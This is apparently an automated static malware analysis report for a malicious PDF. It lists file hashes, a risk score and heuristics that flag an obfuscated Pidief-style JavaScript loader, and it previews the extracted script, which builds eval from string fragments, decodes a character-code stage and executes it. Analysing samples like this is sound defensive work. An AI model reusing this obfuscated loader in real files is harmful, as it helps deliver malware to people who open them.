Malicious PDF — malware analysis report

Static analysis result for SHA-256 fbee0d037505de91…

MALICIOUS

PDF

45.4 KB First seen: 2026-05-08
MD5: 8b99df9e34e2c4af3bd6ce4392f75f8a SHA-1: fc47b3d954cdf43d0ce3836ed0cc00c98704a297 SHA-256: fbee0d037505de91ed300eaf526471cc47b92b08e6c245f838b54da515b0c93a
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB316 455 bytes
SHA-256: 620f49c50bd660607385193995e53a40385b8740595c6c030041771c7a33673d
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
lels='';
lbgz=('qwrwqr','tit');
e('bjjjy=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
cdvz=e('String.fr'+bjjjy.substr(0,10));
dkctc = e(bjjjy.substr(10)['replace'](/u/g,','));
e('k=dkctc.length');
for (i = 0; i < k; i+=2) {
	vaase = dkctc[i+1] + ('erybjkerl',dkctc[i]);
	lels += cdvz(vaase);
}
e(lels);

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